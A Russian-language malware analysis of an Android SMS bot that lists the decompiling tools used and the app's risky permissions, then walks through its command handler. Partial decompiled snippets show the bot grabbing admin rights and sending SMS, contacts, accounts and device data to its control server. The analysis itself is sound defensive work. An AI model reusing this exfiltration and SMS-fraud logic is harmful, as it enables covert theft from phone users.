Анализ sms-бота для Android. Часть II
Вступление
Еще один бот под Android, рассылаемый по «красивым» номерам вида 8***1112233 и т.д. Смской приходит ссылка вида: «Посмотрите, что о Вас известно или Информация для владельца и т.д. названиесайта.ру/8***1112233«Процесс вскрытия Android-приложений:
Скачиваем APK-файл;
Извлекаем файл манифеста;
Декомпилируем приложение в читаемый исходный или байт-код;
Анализируем манифест и код.
Джентльменский набор инструментов:
Apktool — Используем для того чтобы вытащить манифест и ресурсы;
Dex2jar — Декомпилируем APK-файл в байт-код;
Jd-gui — Байт-код переводим в читабельный код.
Читаем манифест
В манифесте сразу бросаются в глаза следующие строчки кода:
Получать и обрабатывать все входящие СМС;
Будет что-то выполнять при перезагрузке устройства;
Попытается получить права администратора устройства;
И запускает какой-то сервис. Скорее всего этот сервис будет ждать поступления новых команд (например, управляющего сервера);
Далее, по манифесту:
Запуск после ребута; Получение аккаунтов; Получение/отправку/написание/чтение СМС-ок; Получение состояния телефона; Интернет; Итак, уже примерно проясняются намерения бота.Mainactivity.java Теперь переходим к анализу классов. Их у нашего бота 17 штук.После анализа каждого из них я пришел к выводу самые основные, то есть заслуживающие внимание, из них следующие: MainActivity.java; Runservice.java; IncomingSmsReceiver.java; HandlerCMD.java; В выше указанных классах сосредоточена основная логика бота, остальные классы — вспомогательные.Посмотрим, что есть в классе MainActivity.В ниже указанном, коде бот пытается получить права Админа: this.devicePolicyManager = ((DevicePolicyManager)getSystemService («device_policy»)); if (! this.devicePolicyManager.isAdminActive (this.adminReceiver)){GetAdministrator localGetAdministrator = new GetAdministrator (); localGetAdministrator.execute (new Void[0]); return;}
Далее, при закрытии программы он попытается запустить класс сервиса (о нем поговорим чуть ниже): Class localClass = Class.forName («com.driver.android.system.RunService»); Intent localIntent = new Intent (this, localClass); startService (localIntent);
RunService.java Из названия данного класса становится понятно, что он делает. Да, он запускает сервис, который: проверяет свой статус; получает команды от управляющего сервера и запускает обрабатывающий хэндлер; проверяет исходящие СМС каждые 60 секунд; блокирует звонки номеров, которые занесены в черный список бота; отправляет на сервер все исходящие СМС-ки. IncomingSmsReceiver.java Данный класс используется как BroadcastReceiver. Из названия понятно, что данный класс нужен для получения входящих СМС-ок и отправки их содержимого на сервер. Вот подтверждающий срез кода: localHashMap.put («addmsg», localStringBuffer3.append (localStringBuffer4.append (localStringBuffer5.append (localStringBuffer6.append (localStringBuffer7.append (»-->\nОтправитель:»).append (str1).toString ()).append (»\nТекст сообщения:»).toString ()).append (str2).toString ()).append (»\nДата:»).toString ()).append (str5).toString () + »\n-->\n\n»); SendNewSMS localSendNewSMS = new SendNewSMS (paramContext); localSendNewSMS.execute (new HashMap[] { localHashMap }); HandlerCMD.java По моему мнению, это самый интересный класс. Тут явно можно увидеть все функции которые выполняет бот. Данный класс тесно взаимодействует с классом Command.java, в котором расписаны действия каждой из команд. Управляющий сервер отправляет команды в виде массива строк. Хэндлер его обрабатывает и проверяет первый элемент массива paramArrayOfString[0] на наличие значения от »1» до »16». А теперь давайте пройдемся по каждой функции.При получении »1» отправка СМС на определенный номерif (str1.equals (»1») == true){Commands localCommands1 = new Commands (this.context); localCommands1.smska (paramArrayOfString);}
Установка нового IP-адреса сетиif (str1.equals (»2») == true){…localCommands2.newIp (paramArrayOfString[1].trim ()); … }
Проверить на права админа и отправить результат на серверif (str1.equals (»3») == true){…if (localCommands3.getAdministrator ()) {}…localSendPostData1.execute («http://» + this.server_ip, localHashMap1); … }
Отправка на сервер всех онлайн аккаунтов пользователяif (str1.equals (»4») == true){…String str4 = localCommands4.getAllAccounts (); …localSendPostData2.execute («http://» + this.server_ip, localHashMap2); … }
Отправка на сервер список установленных приложенийif (str1.equals (»5») == true){…String str5 = localCommands5.getInstallApps (); …localSendPostData3.execute («http://» + this.server_ip, localHashMap3); … }
Очистка «черного списка«if (str1.equals (»6») == true){ …localCommands6.clearBL (); … }
Получить от сервера текст СМС-ки и разослать абонентам из локальной адресной книгиif (str1.equals (»7») == true){ …localCommands7.deliveryPhoneBook (paramArrayOfString); … }
Разослать СМС-ки по списку номеров полученных от сервераif (str1.equals (»8») == true){ …localCommands8.deliveryFromBase (paramArrayOfString); … }
Получить все номера абонентов и отправить на серверif (str1.equals (»9») == true){PhoneBook localPhoneBook = new PhoneBook (this.context); ArrayList localArrayList = localPhoneBook.getNumbers (); …localSendPostData4.execute («http://» + this.server_ip, localHashMap4); … }
Отправить на сервер информацию о операторе сотовой связиif (str1.equals (»10») == true){ …String str7 = localCommands9.getProvider (); …localSendPostData5.execute («http://» + this.server_ip, localHashMap5); … }
Отправить на сервер версии приложенийif (str1.equals (»11») == true){ …String str8 = localCommands10.getVersionApp (); …localSendPostData6.execute («http://» + this.server_ip, localHashMap6); … }
Отправить версию Андроидаif (str1.equals (»12») == true){ …String str9 = localCommands11.getVersionOS (); …localSendPostData7.execute («http://» + this.server_ip, localHashMap7); … }
Отправить код страныif (str1.equals (»13») == true){ …String str10 = localCommands12.getCountry (); …localSendPostData8.execute («http://» + this.server_ip, localHashMap8); … }
Отправить номер телефона устройстваif (str1.equals (»14») == true){ …String str11 = localCommands13.getPhoneNumber (); …localSendPostData9.execute («http://» + this.server_ip, localHashMap9); … }
Получение от сервера и исполнение, а также отправка результата выполнения USSD-сообщенийif (str1.equals (»15») == true){ …localCommands14.USSD (paramArrayOfString); … }
Удаление приложения в теневом режимеif (str1.equals (»16») == true){Commands localCommands15 = new Commands (this.context); localCommands15.uninstallApp (paramArrayOfString); return;}
Выводы Подведем итоги анализа. Бот написан более грамотно, в отличии от предыдущего. Но так же есть огрехи в защите кода. Никакой обфускации и шифрования. Благодаря чему удалось увидеть в коде IP адреса сервера, на который бот отправляет и получает данные.Набиев Нурлан, отдел расследования киберпреступлений, PentestIT, Казахстан